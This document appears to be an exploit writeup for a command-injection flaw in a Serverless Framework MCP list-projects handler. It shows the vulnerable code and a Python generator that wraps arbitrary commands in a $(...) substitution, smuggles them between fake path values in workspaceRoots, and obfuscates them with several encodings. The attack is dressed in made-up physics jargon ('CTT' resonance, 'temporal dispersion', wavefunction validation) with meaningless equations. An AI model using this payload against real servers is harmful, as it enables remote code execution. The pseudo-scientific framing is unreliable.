🔬 CTT Physics Integration
Core Constants for MCP Protocol
```python
CTT_ALPHA = 0.0302011 # Temporal dispersion coefficient
CTT_LAYERS = 33 # Fractal temporal layers
CTT_PRIMES = [10007, 10009, 10037, 10039, 10061, 10067, 10069, 10079]
MCP_PORT = 3000 # Default MCP server port
MCP_PROTOCOL = "mcp-json" # Serverless MCP protocol
```
MCP-Specific Resonance Engine
· Prime-Aligned JSON-RPC Timing: 587 kHz synchronization with MCP heartbeat
· α-Dispersion Command Encoding: 33-layer command obfuscation
· Protocol-Aware Payloads: Adaptive HTTP/WebSocket exploitation
· Temporal Validation: CTT wavefunction analysis of MCP responses
Key Equations for MCP Exploitation
1. MCP Resonance Frequency: f_mcp = (α / (2π)) * √((E_jsonrpc) / (t_response))
2. α-Dispersion Encoding: cmd' = encode_layer(cmd, d) ⊕ (α·d·1000) mod 256
3. Protocol Weighting: w_protocol = exp(-α·d)·(1 + ζ_d·i)
4. Temporal Entropy: H_mcp = SHA256(layer‖timestamp‖protocol_state)

🔍 Technical Deep Dive
Exploitation Workflow
1. MCP Server Discovery → HTTP/WebSocket protocol detection
2. Protocol Handshake → JSON-RPC initialization
3. Vulnerability Trigger → Malicious workspaceRoots in list-projects
4. Command Execution → RCE via command injection
5. Response Analysis → CTT wavefunction validation
6. Layer Aggregation → Multi-temporal result compilation
Vulnerability Details
```javascript
// Vulnerable code in list-projects.js (Serverless Framework 4.29.0-4.29.3)
async function listProjects(workspaceRoots) {
// workspaceRoots is user-controlled and unsanitized
const command = `find ${workspaceRoots.join(' ')} -name "serverless.yml" -o -name "serverless.yaml"`;
// Direct execution without sanitization
const { stdout } = await exec(command); // COMMAND INJECTION HERE
return parseResults(stdout);
}
```
CTT Payload Generation
```python
def generate_ctt_payload(command, layer):
# Base command injection
base = f"$(echo 'CTT_START'; {command}; echo 'CTT_END')"
# Apply CTT encoding based on layer
encodings = [
lambda c: c, # Raw
lambda c: base64.b64encode(c.encode()).decode(),
lambda c: quote(c),
lambda c: ''.join([f"\\x{ord(ch):02x}" for ch in c]),
]
encoded = encodings[layer % len(encodings)](base)
return f"/legit/path; {encoded}; /another/legit/path"
```
